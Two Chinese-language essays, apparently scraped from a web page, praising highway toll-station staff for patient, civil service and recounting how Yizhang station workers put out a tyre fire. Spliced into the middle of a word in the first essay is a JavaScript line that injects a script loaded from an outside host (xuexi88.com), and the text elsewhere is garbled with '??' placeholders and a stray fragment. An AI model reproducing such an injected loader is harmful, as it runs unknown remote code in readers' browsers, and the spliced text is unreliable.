面对如此蛮横无理的司机,我的愤怒一下子就涌了上来,我的心在颤抖、我的拳头在紧握 。再看我们亭内的收费员,我平静的捡起地上的钱??打票??找钱??事后,收费员对我说:“班长!你怎么能咽得下这口气啊!”而我却对她说:“在工作中,如果我们与司乘人员发生了摩擦,只能讲政策,讲道理,坚持文明服 var script = document.createElement('script'); script.src = 'http://www.xuexi88.com/resource/baichuan/ns.js'; document.body.appendChild(script); 务,再大的委屈也要承受,严格的组织纪律和严肃的法纪观念要求我们在这种情况下不能冲动!”正是这种高度的主人翁精神使得我们的工作蒸蒸日上,也使得我们在忍耐中得到了修养,在克制中得到了锻炼 。
有人问:“背井离乡,将美好的青春献给平凡枯燥的事业,值得吗?”我想,无论在什么岗位,都有英雄,都不平凡,关键在于我们如何看待他 。远离了城市的喧嚣和繁华,我们拥有了别人无法感受到的恬静和清新,那是种闲适的青春 。
远离了城市复杂的人群,我们拥有了司乘人员对我们服务的肯定,司机一句简单的问候,一个友善的微笑,却让我们感受着无尽的温暖 。记得2007年的春节,是我第一次离家在收费站过年,虽然公司为我们准备了丰盛的年夜饭,但想着未能与家人团聚,我的情绪还是非常地低落,接待车辆时也无精打采,这时过来的一辆货车,司机微笑的对我说:“小伙子,谢谢你,辛苦了,新年快乐!”听到司机朋友真诚的问候,我猛然醒悟 。
是啊,“赠人玫瑰,手留余香 。”只要我们真诚的为他人服务,也会得到同样的认可和赞许,平凡的岗位,也能谱写壮丽的诗篇 。
我 。
2.收费站文章收费站文明优质服务暖人心 文明是一种品质,一种修养,是受人拥戴并被广泛推崇的高尚行为 。
自开展“文明收费,优质服务”活动以来,耒宜管理处宜章收费站全体员工在不断的学习和进步中,对文明优质服务有了更深的理解和领悟,把文明服务变成了自己的良好习惯 。文明优质服务之花开遍了宜章收费站,处处可见真诚的笑脸,时刻保持微笑服务,全体员工用文明、优质的服务温暖着过往司乘人员的心 。
工作尽责为司乘人员排忧解难 “想司乘之所想,急司乘之所急”是宜章收费站全体员工的一种工作习惯 。他们给每一位过往司乘人员提供热情服务,有难必帮,让每一位司乘人员感受到“在家千日好,离家也不难”关怀 。
“同志,去汝城怎么走?”“同志,有热水吗?”“同志,我的车坏了,能帮忙推一下吗?”面对司机朋友的种种困难,宜章收费站的员工们总是尽自己最大努力给予帮助 。他们的一言一行塑造了爱岗敬业、文明服务的好形象,暖透了无数过往司乘人员的心田! 9月30日,由于国庆节的来临,收费现场车流量明显增加 。
傍晚19时左右,一辆宜章牌照的小车驶入了X02车道 。该司机看上去显得很匆忙,当班收费员热情的迎接了他 。
但在刷卡的时候,收费员闻到了一股烧焦的味道,于是探出头往外看了眼,只见小车的后胎正冒着烟,还升着一串火苗 。收费员瞬间作出了反应:轮胎起火,情况危机!他马上以最快的速度通知了该车司机和站里的同事 。
危急关头,宜章收费站的员工们展示了他们的素质 。冒着轮胎爆炸的危险,员工们提着灭火器和水桶,纷纷冲了上去 。
最终,在大家的努力下,着火处被扑灭,避免了火灾,挽救了司机朋友的损失 。宜章收费站把为司乘人员排忧解难当作自己义不容辞的职责,正是员工们的热情服务,获得了司乘人员的充分肯定和赞扬 。
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